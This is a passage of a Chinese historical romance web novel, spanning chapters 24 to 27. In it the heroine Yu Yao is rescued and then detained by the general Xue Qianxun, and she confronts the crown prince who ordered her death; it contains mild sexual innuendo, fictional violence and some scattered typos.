接着,就是一声响亮、刺耳的刀剑碰撞的声音,这样的声音尖得人耳膜都被震痛了。
余姚就在那一瞬间,看见了一个一头长长卷发的高大男人背对着她,一只手攥着一把瞧起来十分厉害的长刀——余姚不确定那东西是不是刀,因为那把手里武器就是根粗长的棍子,上面连接着三角形长刀。
余姚可以断定这把不知名的“刀”,对面接起来一定非常吃力,她看见对面蒙面男人额头的青筋已经暴起突出,就连眼眶里的眼珠子上面也早就被红血丝染红。
就在余姚思考要不要趁乱逃命的时候,她忽然听见她身前的卷发男人说:“别想跑路,没我带你走,你活不到天亮。”
这回余姚听清楚了,这是男人在刻意压低自己的嗓音,这是为什么呢?
余姚想了想,最终得出了一个结论,那就是:卷发男人和前来杀她的蒙面男人一定是互相认识的,他显然不敢开罪蒙面男人身后的人。
如果没有猜错的话,蒙面男人应当是他们的同伙,可既然是同伙,为什么他们的选择却相悖呢?
余姚想不明白,但显然这个卷发男人也不太可靠。
性命这样重要的事情,还是掌握在自己的手里才最可靠。
余姚这便给对面的春花使了个眼色,春花当即会意,主仆两个偷偷摸摸捡起了适才躺过的地方藏起来的行李,又悄么声地跑出来庙。
雨大得不得了,春花撑起一张伞,两个人在缩在一把伞下逃出了不远,余姚则是抱紧了手里的行李。
只是他们没有跑出多久,大雨瓢泼,忽而听见身后传来一阵重物抛掷的声音,接着急天幕上淅淅沥沥的骤雨忽然落到了余姚和春花的脸上,主仆两个人这才反应过来,原来是刚才被春花拿在手里的伞柄已经被人用利刃削去了一半,那把八十四伞骨的油纸伞没了支撑力,直接被风吹跑了。
春花惊呼一声,她们两个跑起来愈发快了。
忽而身后有传来响动,蒙面男人已经从后面翻到了前面,横刀在前,一脸阴狠地盯着她们。
只是身后忽然有传来一阵激荡的马蹄声,众人还没来得及向后看去,余姚忽然被身后一只强壮的手臂,像是旱地拔葱一样从低处往高处揪起。
余姚被人狠狠倒趴放在了马背上,她感觉自己肚子里的胃都要从嘴里吐出来一样。
随着马上一个高壮的男人扬起马鞭凶狠地抽在底下这匹浑身雪白的马儿臀部,马儿吃痛扬起前面两只前蹄,伴随着马儿一声英姿飒爽的嘶鸣声,马背上的男人强有力向前挺腰,不出几瞬呼吸,底下那匹马儿已经扬起蹄子奔了出去。
而被留在后面的蒙面男人看着面前被丢下的小婢女,而且她还已经被吓的瘫软在地。
男人手里本来预备挥起的刀在一瞬间,在对方惊吓地竟然晕过去而终止。
蒙面男人随意捡起一具死尸身上的衣裳擦拭干净刀上的血,而后利落收刀回鞘。
他停在已经晕过去的女子面前,看着跌在泥土里的、被雨水冲刷的像跌落枝头的花骨朵一样的女子,男人一把扯下了覆盖在脸上的黑色布料,露出一张刚硬的脸。
马儿跑出许久,不管是余姚的手,还是有余姚的腿,她都感受到了近在咫尺的男人强壮有力的大腿,散发着热气,随着马儿每一次奔驰,都能够感受到男人大腿部位散发的热气和强劲有力。
但是此时余姚被颠得脑子都要晃成浆糊,这匹马儿的头上的鬃毛又多又长,她觉得自己一张嘴就有一嘴的毛。
奇怪的是余姚就这么颠着,自己反而迷迷糊糊地睡了过去,等到她醒过来的时候,一睁开眼,发现自己还趴在马背上。
她一下子吓到了,一翻身就给自己吓到了地上,痛感从尾椎骨传到大脑,余姚顿时一清醒,直接跌坐在地上。
余姚搀扶着爬起来,而后立即四处查看周围有没有人,她发现,这匹白色的马停在了湖边的一个柳树旁,这棵柳树的细长柳枝拖进了湖水里。
那个救她的人呢?
她想了想,想到了春花,也不知她活着还是死了。
不知究竟是得罪了谁,竟然这样迫不及待要害她?
余姚在这匹白色的骏马身上转了一圈,她倒是发现了一条带着菱花金环形的马鞭,以及上面还挂着一只长款唐横刀,不想刀柄上还挂着一只金制小铃铛。
她又看了一眼身上的衣裳,还比较完整,又隔着衣裳摸了摸,财物都在。
本来余姚都走出许久,还没走出两步,她又折回来把挂在马鞍上的横刀也一起取走了。
过了好一会儿,就在余姚走出许久,临将出了山谷,正要向前伸脚。
忽然听到身后有人用阴郁的声音说:“你离开我,不出半天就要死在半路上。”
余姚正要回头,忽然感觉到脖子处一凉,她连忙稳住自己的身形,问道:“阁下是谁?为什么要救我?”
背后的男人显然沉默了许久,久到余姚感觉到脚都站酸了。
余姚不由心想,这个问题就这么难回答吗?需要想这样久。
男人闷声说:“我救你,不为害你。”
“我知道。”余姚点点头说。
她又问:“那你救我图什么呢?”
问出了这句话,余姚像是想到了什么,她将手伸到了自己的衣襟处,作势要脱,“莫非你见我生得美貌,想同我春风一度?”
男人连忙收刀,余姚回头一看,只见男人已经将脸转向一边,他说:“你……怎能这样放肆?”
余姚听清楚了他话里在放肆这两个字中间迟疑了一下,几乎用不着思考,她就猜出了那两个字其实应该是放荡。
她觉得惊奇,问道:“我素日见到的男子,只恨我脱得不够多,你倒装出一副两眼空空的模样给谁瞧?”
男人沉默着,余姚悄无声息地打量起面前的男人来。
他个子很高,是她目前见过的男人里最高的一个,男人一头及腰的卷发,那张脸黑而清瘦,棕褐色的眼瞳炯炯有神,络腮胡子,身上只穿里一件白色的单衣,似乎是行走匆忙,他身上的白单衣敞开了一大片胸口的肌肤。
余姚直视他的眼睛,问道:“既然你什么也不图,那我现在得走了,我妹妹还在那里。”
她抬脚欲走,却被男人用刀鞘横在身前拦住了。
余姚看向他。
男人说:“不成。”
余姚看着他,眼睛水一样湿润,“那你替我救我妹妹。”
男人原本盯着她,却见她示弱,一双水润润的美目光影流转,娇俏非常。
余姚看见他又沉默了一会,才开
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口说:“不成,我只救你。”
余姚见怎么也讲不通,她咬咬牙:“春花是我妹妹,这么多年来唯我马首是瞻,我绝不能放弃她!”
男人依旧不为所动,身姿如挺拔巍峨的高山:“那是你的事,我只保你平安。”
眼见说是说不通了,余姚干脆故作放松,实则拼死一搏,她想撞开男人,没想到,男人的身板硬得吓人,余姚看见他的时候左边眉宇露出一道深刻的血痕,差一点就刺爆了左边眼球。
她一愣,卷发男人蹙眉,轻而易举地将她用衣裳撕成的绳子绑了起来,又抱回去扔到了马背上。
男人换好衣裳,又带着她回云京去。
反正颠得脑仁子都颠出脑花出来,余姚把奋力拍打男人的腿,她感觉手底下触感硬挺无比。
甚至她感觉到他腿间巨物的苏醒,又热又硬地抵在了她一侧肚子边上。
余姚咬唇,低声呵斥说:“流氓!”
男人面目冰冷,余姚一直盯着他的脸色,她发现他居然能一上午都不变脸色,途中还带她吃了顿饭。
店里的伙计看她被绳子捆着,张了张嘴想上前问问。
没想到卷发男人直接“啪”地一声把横刀按在桌子上,店伙计和掌柜的都被吓了一跳,还有几个预备来用饭的读书人,一见这架势,直接吓跑了。
店掌柜是敢怒不敢言,只能捏着鼻子叫店小二把男人点的东西送了上来,很明显心里在暗暗骂道,这粗鲁的武夫!
余姚看了一眼菜色,全都是肉菜,什么酒香牛肉、爆炒羊肉等,店小二还送了一坛子未知名的酒上来,上面没有贴标签,余姚闻不出来。
直到面前这个卷发男人把酒坛盖子都打开来,余姚这才闻见了酒香,她一愣,忽然就反应过来,这分明就是民间最便宜简单的烧刀子的味道。
余姚一直盯着男人用饭,见他用手抓着牛肉大口嚼用起来,她不由愣住了。
她见过不少人吃饭,但吃相这样粗鲁的还是头一回见。
兴许是余姚的眼太过刺目,卷发男人回过神来。由于神色转换地太快,余姚不确定自己有没有看错,似乎是……懊恼?
接着,余姚就看见卷发男人起身去外面水井处,还叫来店小二送来香胰子洗手。
店小二都怀疑是不是自己的耳朵聋掉了,他强撑的笑容直接皴裂,“这位客官,本店薄利,小店里都是些大男人,哪里用得上香胰子?”
最后还是店里掌柜的送来了掌柜媳妇西洗脸用的胰子,卷发男人用它洗干净了手里。
掌柜人老成精,他一眼就看出来男人放在桌子上的横刀不是寻常物,又见男人身上穿的、用的无不是行伍中人所用,因而分外殷勤地递过去一条干净毛巾。
男人擦干净了手,又走了了回来,余姚还以为他是要回来继续吃,没想到男人竟然直接把她身上的绳子给解开了。
余姚一愣,店掌柜的已经拿着两套正经餐具上来,摆在了她的面前,卷发男人把菜盘子都往余姚这边推,闷声吐出了两个字:“吃饭。”
余姚见他笨拙地使用筷子,依旧吃得很快,她没什么胃口,干脆用手里两根竹筷子戳弄面前摆着的白米与嫩黄色的多粟米混合的米饭菜。
她问:“你叫什么名字?”
男人一愣,他扒拉完碗里面的饭菜,放下碗,沉默道:“薛千勋。”
余姚戳弄米饭的动作一愣,她点点头,确信自己不认识这个人。
问也问不出来,余姚只好换一种方向问:“你这是要带我往哪去?”
薛千勋用处刚才擦手的毛巾用来擦嘴,他依旧沉默了一会,才说:“我带你去见殿下。”
25. 025
余姚蹙眉,殿下?
哪个殿下?
见她疑惑,薛千勋又闷声吐出了两个字:“东宫。”
“啪”的一声,余姚手里的筷子忽然就应声而落,直接掉在了做桌面上。
余姚转了好几个心思,她越发确定心里的猜疑。
她问:“你既然前来救我,那知道是谁要杀我吗?”
说罢,她的眼睛一瞬不眨地盯着面前男人黑亮的脸,薛千勋也没瞒她:“知道。”
她又继续追问:“是谁?”
薛千勋若无其事道:“东宫。”
忽然,余姚的眉头一跳,她想起那天夜里,男子粗壮硬挺的手臂圈住她,他声音温缓地向她求欢,用几近诱惑的声音向她描绘往后的人生。
余姚感觉自己后背有一种刺骨的凉意向上涌,直传到自己后脑。
她帘外一看,窗外一片苍青神绿,山峦远在天边,湛蓝的天空像一汪湖水,泛着清甜与甘爽。
太阳的光线从外间一棵枣花树上透落,光影落在泥土上,斑驳交错,分外美妙。
余姚想起今年一月前往寺庙上香,那个救过自己的少年郎君,如圭如璋,像冬日冰冻的湖水里透进来的阳光。
她以为他浑身都是光。
原来他也是一个有七情六欲的普通人,他身上的光都是她自己妄加揣测加上去的。
薛千勋察觉到她竟然微微颤抖,他默然垂着眸子。
余姚忽然冷声问:“你救我,是为了杀我吗?你把我送给东宫,我会死的。”
薛千勋却捡起来桌边的唐横刀,沉稳道:“不会。”
她冷笑一声,追问:“什么不会?”
他说:他不会杀你。”
余姚这真是越听越糊涂了,他这说的什么话?
昨儿晚上来杀他的人不是东宫派来的?一言不发就要取人性命,瞧着架势,分明就是非杀她不可。
余姚嗤道:“你知道什么,昨天你要是没来没,我就要死了。”
男人还是坚持着,终于他说:“我不会让他们杀你。”
余姚闻言挑眉,“那你还拒绝我报恩?”
男人沉默,憋了许久,他才说:“报恩不是这么报的,男女授受不亲。”
余姚还是第一次看见在她面前这么装正经的男人,可不知为什么,她眼角眉梢上勾人的笑容已经掩去,但她又嗤笑一声:“假正经。”
男人还是一言不发,像是一尊没有喜怒哀乐的青山。
她无意识地挑起一筷子米饭放进嘴里,而后盯着眼前这个身材魁梧挺拔的男人,莫名就回想起来他昨日与那个前来杀他的蒙面男子对症的模样。
他耍刀的时候,仿佛在他的手里,刀不仅长了眼睛,还像是有了灵魂一样。
余姚虽然不同刀剑,但是她有一双擅绘丹青的手和眼睛,她的脑子里就像走马灯一样播放着昨夜的情景。
她忽然十分好奇他的身份起来,究竟是怎样的环境才能培养出这样人?
原本坐在背窗户的男人忽然一招手,倚靠在柜台前面的店小二忽然迷迷瞪瞪睁开眼,笑嘻嘻地颠颠跑跟过来:“客官,您吩咐!”
男人说:“上几道素菜上来。”
店小二一愣,他看了一眼桌面上的肉菜才吃了一半,男人明显是已经用完饭了,这素菜显然是给眼前女客点的。
店小二大着胆子瞧了瞧这这位女客,吼哟!这张脸生得是真俊呐!
啧啧啧,店小二看了一眼男人,心里面暗爽,果然是英雄难过美人关呐。
男人敏感地发现店小二那双机灵的黑眼睛滴溜溜像是黏在了余姚的身上,他眼底闪过一丝备不快,猛然将手中的横刀重重拍到桌面上。
店小二就像是一只猛然被人抓住嘴的鸭子,他猛然回神,立即这转头看向了面前的男人,猝不及防对上了一双凌厉的眼睛,差点被吓得心脏骤停。
店小二连忙遛到了后厨去。
等上菜的时候,余姚这才发现原来已经换了一个店小二。上了几道家常的饭菜,什么芹菜笋子、香菇炒肉等,不知不觉余姚也有用了白不少饭。
她放下了筷子,男人已经把拴在后院、已经被喂饱了赛私聊的这白马给牵了出来,余姚看了一眼这马,四肢健壮,毛发高耸,尤其是马儿臀部异常紧实。
可见这是一匹罕见的马骏马。
她见过家养的马儿,要么膘肥体壮,要么又老又瘦,从体型上来说,就与这种马完全不一样。
也许是番马,她想。
薛千勋已经骑在了马上,余姚坐了没一会儿,她感觉到自己后面又被顶到了。
余姚沉默了一声,问::“你没跟我说你的身份。”
薛千勋就沉道:“已经告诉过你了。”
余姚沉默,忽然马蹄似乎是踩到了什么东西,连人带马都是一个趔趄,余姚感觉到那跟东西撞得她向前,差点没给她撞下马。
这么……
这么硬吗?
想不到他这么沉默寡言,那里却如此天赋异禀。
余姚疼得龇牙咧嘴,但他两一个坐前面,一个坐后面,自然是看不见彼此的神色。
但薛千勋显然观察入微,他一把扯住了她的后脖颈,问她:“你抖什么?”
余姚沉默地低头,说:“你顶到我了。”
男人握刀的手一抖,酡红像瘟疫从耳边蔓延到脸和脖子,他的脖子有青筋爆出,握刀的手骨节泛白,许久又松开。
薛千勋沉默着把手里的刀不动声色移开了一点,余姚感觉到后面的东西竟然一下子彻底下去了,她不由心底暗暗惊奇,这玩意儿还能自动操控不成,竟然能说起硬就硬,说萎就萎?
两个人都觉得挺尴尬,一个觉得跟女儿家说这么多,怪丢脸的。另一个则是担忧对方有什么隐疾,他杀人的时候活像画本子里的巡海夜叉,若是惹恼了他,恐怕性命都要赔在这里了。
因此两人相对于无言,没一会功夫,进了城。
别看薛千勋是个四肢发达的粗糙武人,但当他进城前,城门口不远处的柳树边上守着一个满头花白的老头,和一辆马车。
薛千勋让余姚下马,坐进了轿子。
余姚进去了以后,才发现轿子外面的门已经被人锁了。
她连忙掀开车窗边上的帘子,外面的男人已经扬起马鞭,疾驰而去,只留下一鼻子灰土了。
进了城以后,余姚担心人多眼杂,生怕人群里面有谢凭的人,她上一世与谢凭同床共枕十多载,太清楚他对待背叛者的态度了。
没多久,马车驶入余姚眼熟的屋舍,一样的胡同路,一样的墙壁外门。
这不就是太子之前收留他住的地方吗?
马车门锁应声而落,余姚被人带下马车送进了屋子里边。
门外依落了锁,任凭余姚怎么叫喊,外面的人始终置若罔闻。
傍晚余晖落满云京大道,青石板官道上,车吗来来去去,城东某条街道上,哒哒的马蹄声一直在这条路上回响。
城东东府报本宫外,有一道黑色的身影忽然用力勒住缰绳,马儿扬起前蹄嘶鸣。男人一下马,动工的门忽然打开,蜂拥而出一伙举着长矛长盾的护卫,身后是举着箭矢的士卒,弓弦拉成满月。
为首的人喊道:“薛将军,这都是太子殿下的意思,还请将军不要为难我等!请将军卸刀、卸甲!”
薛千勋闻
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言,将自己的横刀一伸,给了面前来接的小兵。
他一件件褪下身上的软甲,身上只剩下一件白色的中单,身上卸下来的东西都被人收走保管。
薛千勋被一群人簇拥中押进了东宫,前往太子的书斋处,上曰“映月书斋”。
书斋外已有护卫在外守候,台阶下站着一个胖乎乎像山雀一样的中年男人,他颔下无须,脸上敷粉,一瞧就知道这是太子殿下身边最得力的内饰太监头子——王振。
得力到什么程度呢?
朝廷上有头有脸的大人物见了,都要恭恭敬敬称呼一声“王翁。”
但薛千勋从不,他现在的荣誉都是他在战场,在私人白骨堆里拼杀出来的,就像他身体上各种各样的疤痕,永远地跟着他。
“王内侍,有何见教?”薛千勋问道。
王振素日看太子眼色,对人看才下碟,许多朝臣们都以为,他的态度就代表了皇太子殿下的态度。
王振见他来问,皮笑肉不笑道:“薛将军好本事,自古以来忠臣不事二主,既然将军已经决定投诚太子殿下,那又为何违逆殿下的意思,莫非要造反不成?”
薛千勋却拱了拱手,说:“臣不敢!”
王振还待要为难,转眼他的徒孙忽然快步从映月书斋里走了出来,对着他干爷附耳低声说:“干爷爷,殿下叫薛大人进去侯着。”
王振赶忙宣道:“薛将军,太子殿下召见,您请吧。”
薛千勋素日不屑与这些阉人为伍,但他出身卑贱,一步步爬到这位置上,自然光凭战功也是不够的。
因而薛千勋对着完王振拱拱手,就自进了书斋。
太子的映月书斋里伺候的人已经得了主子了命令,尽数都下去了,偌大的书斋里仅剩下了三个人。
天家书斋自然修建得与民间的不同,尤其是东宫殿里的书斋主位面南而设,台阶下面站着一个身着文武袍的蓝衣服男人,另一边则站着一个仅身着单衣的卷发男子。
而书房的主位则是坐着一位锦衣华服、面溶菌酶的年轻男人,他看着下位处的两个下属,问道:“功显,你来说,孤要杀的人你为什么要救下来?”
薛千勋没想到一向喜欢低调隐晦的太子,现在居然半点都不遮掩自己作为将来的万民君父,竟然丝毫不掩饰自己对于一个手无缚鸡之力的两个女子赶尽杀绝一事。
他沉默了一会儿,忽然单膝跪地道:“殿下,臣有事要禀,臣发现,”余娘子主仆似是前日夜里目睹臣手刃朝廷大臣之人。”
太子似笑非笑:“既然如此,他们是罪该万死的,功显,你做什么要拦?莫非,你见那余氏生得美貌,动了凡心?”
薛千勋原本还目光炯炯,听完了太子的后半段话不由心神微晃,他定了定神色,说:“臣忠于殿下,大丈夫忠君爱国,岂能为女色所惑?”
“好好好!”太子听他所言,忽然大声笑,连续道了三个好字。
薛千勋忽然觉得眉毛一跳,仿佛有什么东西被遗忘。
太子忽然收敛笑容,目光幽幽地盯着他,“得卿如此忠臣良将,孤甚感欣慰。只是孤近日来感觉卧榻之上并不安稳,功显你既然为孤心腹,不如就为孤排忧解难,替孤……杀一人便可。”
薛千勋心有预料,忍不住追问:“殿下要杀谁?”
太子眯眼:“余氏娘子,孤将来既然要登大位,对于那些得不到的物,或者是人,都会成为孤的软肋,孤绝不允许软肋存活于世!”
“既然功显忠于孤,那便由你,替孤解愁吧。替孤,杀了她。”
薛千勋拱手,空炸一片寂静,静得他甚至能听见自己因为说话而震颤的胸膛。
“臣,遵旨。”
26. 026
今日是满月,滚圆的月亮挂在天上,像一抹落到天幕上的香灰,受人弹落。
余姚下午进来时候,已经把屋子都翻得干干净净,还是没有找到春花的下落。
她只能坐在屋檐下的竹椅旁,桌子上摆着傍晚时分薛千勋命人看守的人送进来的饭菜,想不到,薛千勋看起来这么神经大条的人,手底下竟然又有这么细心的属下。
只是现在春花下落不明,生死未卜,余姚又怎么吃得下去?
而且现在又不知道自己究竟是落到了谁的手里,她又想到自己前段时间竟然一直对着这么一个狼子野心的男人相处。
又想到了自己才出了狼窝,又进了虎穴,自己上一世明明已经在男人上,摔了那么大一个跟斗,想不到上天怜悯,再世为人,竟然还是竹不清、雾不清、眼不清。
只恨自己,空有一身躯壳,现在身陷囹圄,只得见招拆招,走一步看一步了,且先看对方出什么招数,才会接招。
正如此想着,忽而听见“吱呀一声”,余姚应声看去,正好瞥见了门从外被推开。
一道黑蓝色短比甲曳撒的声音走了进来,头上戴着一顶黑色乌纱帽,唯有两角鬓发处弹出来一两撂深棕色的卷毛。
余姚见他慢悠悠走来,每一步都沉稳非常,她盯着黑夜里他的眼睛,许久。
余姚擅绘丹青,从前谢凭就说过,她生就有一双漂亮的厉眼。
她不由露出一抹嘲讽的笑容。
男人就像是夜晚世界的巡夜者,她发现他的那柄挂着金铃铛的长柄腰刀竟然没有被拿在手里,反而直接拿在手里。
目光落在男人攥紧泛白的手指骨节上,不难想像,这只手究竟使用出了多大的力气。
男人慢慢走近,他站在屋檐下,还差一步就上了台阶,可是他还是很高,俯视着看她。
他打量了一圈余姚脸上的神情,又垂眸看了一眼桌子上已经冷掉的饭菜,他的一眼光扫过了她面前干净的碗筷,沉声问道:“为什么不吃饭?不和胃口?”
余姚简直要被面前这个男人搞糊涂了,她一抬眼就对上他手中腰刀刀柄上的金色影子,问:“你的铃铛,为什么不响?”
薛千勋顺着她的视线看向了自己手里刀柄上的东西,他有一瞬间的哑声,嘴已经比脑子更快。
他说:“这个不是铃铛。”
余姚沉默的时候,男人便顺手上的东西取了下来,她觉得自己的手指一凉。低头发现,这个金黄色的东西已经被放在了自己的手边。
男人说:“这是铎,里面没有转铃,所以不会响。”
她拿起来一瞧,举高来看,底下果然空无一物,且这东西虽然是质地不错的黄金,但摸起来还是能够感受到那东西上面坑坑洼洼的触感。
余姚摸着这颇有分量的旧物,一时之间没了摩挲的兴致,她将手里的那东西往旁边一扔,发出“咚”的一声。
薛千勋正在迟疑之间,忽而低头瞥见了她面露嘲讽的脸:“你,不是来杀我的吗?为什么还不动手?”
薛千勋闻声,忽然就捏紧了手中的腰刀,修长的手掌骨节处不由泛白,冷青色的刀鞘微微震颤。
余姚见面前的人久不动手,便看向了眼前的男人。
男人不由对上了一双犹如清润黑透的眼眸,他感觉胸膛就像是架起来一堆灼热的篝火,黄橙色的火焰舌头舔舐着他的五脏六腑,灼得他身体里的血管奋张。
男人声音低哑,沉默了许久,他说:“我不杀你。”
余姚惊奇:“既然不是来杀我的,那你来做什么?与我同赏夜色吗?”
见她露出嘲讽的笑,男人越发沉默起来,她此时就像一株有毒的植物,又冷又艳,那对眼眸看得人心里空落落的。
薛千勋一直没有回答她的话,甚至也不愿意直面她的问题。
不知道过了多久,握刀的男人后退缓缓后退,像狩猎的猛兽缓缓退出猎人的包围圈一样小心谨慎。
临走出门前,余姚听见薛千勋侧过脸对她说:“保重。”
余姚沉默,没有回话,等院门合上,她忽然喊道:“谁的因果谁背,咱们本就是陌路相识,我不接受。”
不知道是不是余姚的错觉,院门即将合上的时候,透过门的缝隙,余姚看见男人的身影迟疑了片刻。
余姚一直在回想男人离去的背影,似乎很是决绝,像戏台上的将军壮士断腕一般决绝。
她想到是此人将自己绑了回来,心底因此十分怨恨。
余姚本以为这人把自己抓回来,完全是为了邀功,没想到一路上好吃好喝,狗太子真是磨磨唧唧,要杀人还不给个痛快,非要叫钝刀子架人的脖子上,软磨硬泡。
想罢,余姚仰面躺倒在了屋檐下一张宽大的太师椅里面,这椅子做得又大又宽,她整个人坐进去,一大半就被遮掩住了。
不一会功夫,她就迷迷瞪瞪睡了过去,梦里,她见到忽然梦见有个男人背对站着,穿着一身黑,是她喜欢的样子。
她其实不喜欢男人有太多肌肉,尤其是那种特别明显的肌肉起伏,看起来一拳下去,能把别人的头锤扁。
余姚喜欢那种薄薄的肌肉,穿衣显瘦,脱衣有肉,尤其是在床帏里晶莹剔透的汗水流过青筋奋张的小腹,然后向下……与黏黏糊糊的融为一体,起伏跌宕。
谢凭那样的身材就很好,就是床上太凶了,她若是得上天庇佑,若有朝一日能与春花重逢,一起逃出生天,去往江南,凭着一身本事做个好生意,将来又遇一个合心意的良人,岂不美哉?
然而就在余姚这边慢慢想着,忽然发现男人转过身来了。
密不透风的黑夜挂着一轮满月,男人的头顶的镂空金莲花冠在月光下泛起冷光,窄细、流畅的脸庞上,眉目俊美。
她看见他露出温和的笑容,却用力碾了碾脚下的球状物。
乌云散去,露出了地面上的截面平整地断头,皎洁的光亮晒到地面上,惨白的头颅露出痛苦而麻木的神情,底下是一大摊暗红的血迹。
余姚吓得右眼皮狠狠一跳,她听见他低沉阴冷的笑声:“既然你不识好歹,那就死吧。”
这样阴狠的声音刺激得她头皮发麻,在他的冷笑中,狠狠跌坐在地。
余姚就是这样被吓醒了,连带着自己睁开眼的时候,眼前尽是一片毛
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月亮的刺挠。
她揉了揉眼睛,感觉周边的一切都变得清晰起来。
她看了看屋子里的滴水浮木刻漏,发现时间已经指向了戌初初刻,余姚换上了自己最喜欢的一件衣裳,而后平静来到了门口,经过一番心理攻战,门就从外面打开了。
外面站着一个胡子与鬓发斑白的老头,余姚刚才听见这个苍老的声音,就高兴地松了口气。
余姚听到过薛千勋喊他叫“李叔。”
下午进城的时候,就看见过这个老人。人情冷暖,世态炎凉,余姚早就感受了不知道多少年了。
一些家里高龄老仆,只要还得主子用的,其实心里都很清楚,毕竟一家老小都指靠着主子吃饭活命。
余姚就是利用了这一点,好劝歹劝,终于是劝开了门。
那老管家替她套了马车,还替她叫了一个年轻力壮的男仆赶车。
马车里的桌子上只摆了一盏昏惨的琉璃灯,这辆马车摇摇晃晃,颠得人脑子昏昏胀胀。
不知坐了多久,一路上都摇摇晃晃,车轮碾过地面发出“吱嘎吱嘎”的声音,听得人昏昏欲睡。
事实上,余姚坐在车里的时候,连半丝困意都没有,衣衫下左边拇指一遍遍抠着另一只手的食指,周围寂静得仿佛能听见自己的心跳声。
就像等待铡刀落下的犯人,余姚深受煎熬。
终于铡刀落下,马车终于稳稳停住,外面的人沉声说:“小姐,到地了。”
男人跪趴在地上,等待着车内美貌得不像人间人的贵人,踩着自己的脊背下车。
余姚看他背脊平平稳稳,做出一副屈辱无比的样子来,她抿唇说:“你起来吧,我不惯踩人的背下车。”
男人却把头低进尘埃里:“多谢小姐怜惜,这是奴才该做的。”
余姚见说不通,便自己从另一边慢慢爬下了马车。
男人听见声音,连忙从地上爬起来,却发现这个美貌的小娘子已走到面前这座偌大的宫殿前,进前一步,那守门的带甲侍卫将手中长身银刀向前一递,两柄长刀交扣在一起,拦住了眼前的女子。
那侍卫疾言厉色呵道:“来者何人?为何深更半夜擅闯东府!若再不退下,休怪刀下无情!”
余姚宽袖下两只手隐隐泛出冷汗,她冷静道:“两位官爷烦请通禀,妾身姓余,求见太子殿下。”
那两个侍卫对视一眼,其中一个临走前,道:“可,但殿下见或不见,卑下不敢保证。娘子且在此等候。”
余姚注意到在她说出自己姓“余”以后,两个侍卫眼底流露出来的忌惮,她心底一沉。
不知是否是错觉,在另一个侍卫离去的期间,剩下色那个侍卫就像就像假人一般,状若无意地盯着她的去向。
但凡她走动,便会提刀看来,若她还走,便会跟上来问:“娘子且在此等候。”
余姚感觉自己一颗心都深受熬煎,偏偏面前偌大殿宇一丝响声也无。
余姚心中焦急,想到自己如今这副模样宛如丧家之犬,更添悲伤。
门内,那带甲侍卫出来,对着她做出一个“请”的姿势,说:“余娘子,请。”
27. 027
余姚跨过那道高门槛儿,她觉得外面门口那白玉底色做成龇牙咧嘴的凶兽,就像是在身后盯着她。
进到了里面,余姚还没来得感叹这座被云京城里的人称作“东府”的地方,果然内有乾坤。
余姚打量了一番四周,所见之处无不工整细致、大气磅礴,前面院子似乎是以中轴对称的八卦图样做的小道。
其中余姚直面的那条小道都铺就了一条鹅卵石铺地,道路两边几步之遥就摆放着样式一致的宫灯,照得内里亮如白昼。
“娘子,请随老奴来。”不知何处,忽然响起了一道尖细的叫声,吓得余姚心里一跳。
她连忙回头,忽然见到一个是身着黑底暗青色镶边的男人,正是那日在护国寺见过的中年男人,她那时还有些疑惑,此人明明已经年近中年,却颔下无须,声音尖细。
如今看来,这哪里是正常的男人,分明就是一个内侍。
而且似乎是上位者面前颇得脸的内侍头子。
那中年内侍笑呵呵地凑过来,重复了一遍刚才的话,余姚觉得他笑得瘆人,便强撑着笑说:“是,这位大人先请。”
王振眼眸里闪过一丝精光,笑嘻嘻说:“娘子折煞老奴了,老奴草芥一样的人,怎么担得起娘子一句大人?”
话虽然如此说,王振先打量了一番面前女子,见她今儿穿了一身海棠红圆领短开衫,下身一件奶绿色百褶裙,两只尖笋似的鞋子在裙子下若隐若现,显得人比花娇。
啧啧,好相貌。
王振默默垂下眼,心中叹道,怪道太子殿下对她念念不忘呢。这两日横挑鼻子竖挑眼,难伺候的很。
这倒是十分难得,王振冷眼看着,说不得眼前这位小娘子,他日也能被叫成一声“娘娘”也未可知。
因而王振分外殷勤地为她带路,为了不冷场,他还辛辛苦苦地绞尽脑汁想了几个笑话来说。
只是小娘子似乎不爱笑,也不怎么爱说话,王振人到中年,体态丰腴走两步路,额头上就冒出来细细密密的冷汗来,他后面也不话密了,只专心将手里的灯凑到她脚下,叫她小心走路。
待见到乘风殿外的匾额,王振擦了一把额头上的汗水,殷勤笑说:“娘子,殿下在里头等您,您自个儿进去吧。”
老太监笑得像一朵盛放的黄盘子菊花,脸上的讨好坦坦荡荡。
余姚见他如此奉承她,想到在这些人眼中,自己终究只是一个以色侍人的玩物,不由惨笑一声。
王振给守门的两个小内侍使了眼色,小内侍立即眉眼乖觉地打开了门,内里大得出奇。
里边似乎没关窗,殿内的白纱帘子被风吹得拂起,飘飘扬扬,显得里边神秘又危险。
余姚倒觉得里边像是狼谭虎穴一般,她狠狠打了个寒战。
余姚慢慢走了进去,然后门就被应声而关,空气一下就寂静了起来。
殿内还燃着飘渺的香,余姚不识此香,只隐约觉得香味初闻略苦,中调略涩,尾调转清,一股子木香味道。
她却知道这样的香市面上绝对没有,这样恰到好处的味道,定然出自调香世家之手,只供给皇族使用,且还不是一般的皇族。
殿内白色幔帐随风飘舞,余姚却连半个人影都没见着,她环顾四周,见这殿内空间扩大,摆设与格调都十分简单,但东西却没有一件是怂的。
她静静打量,仿佛在跟谁比试,究竟谁的耐心更强些。
最终,室内一道好听的音线传来:“余娘子半夜大驾光临,作甚来了?”
余姚闻声右眼皮子狠狠一跳,她顺着声音看去,忽然发觉在这座宫殿南方,设了一座寸许长的高台。那高台上坐着一个仅着白色水绸缎寝衣的年轻男人,他戴着一枚白玉簪,头发倾泻而下。
只是他眉眼似笑非笑,余姚现在也想不清楚,自己当初怎么就会觉得一个当权的上位者会慈悲心肠呢?
余姚惨笑:“上次去杀我的人,是你派去的人,是吗?”
太子故作惊奇:“这才几天不见,余娘子就这么想我了?我对你不好吗?你遭人追杀,是我救你,你居无定所时,也是我收留你。现在你居然这么想我……”
“是你见色起意!”
余姚不愿意打太极,她直接重复问了一遍刚才的话:“既然你想杀我,为什么还要放我走?”
太子缓缓打量着她,站起身走近。
他说:“既然在你心里,我一直都是清风明月的君子,那让我在你心里永远做一个君子,不好吗?”
她愣住,说:“那你为什么不能永远做一个君子?”
太子眉眼俱冷了下来:“因为我是东宫,是将来的天子。”
这就是根本没得谈了,因为他们之间的关系本来就不对等。
一个是高高在上的东宫太子,是来日整个帝国掌权者。
一个连抛头露面都做不到的贱籍逃奴,此生都只能隐姓埋名。
余姚问:“今天那个人,他也是来杀我的是吗?”
太子摊手:“是。”
她又问:“他没杀我。”
太子轻笑:“我知道。”
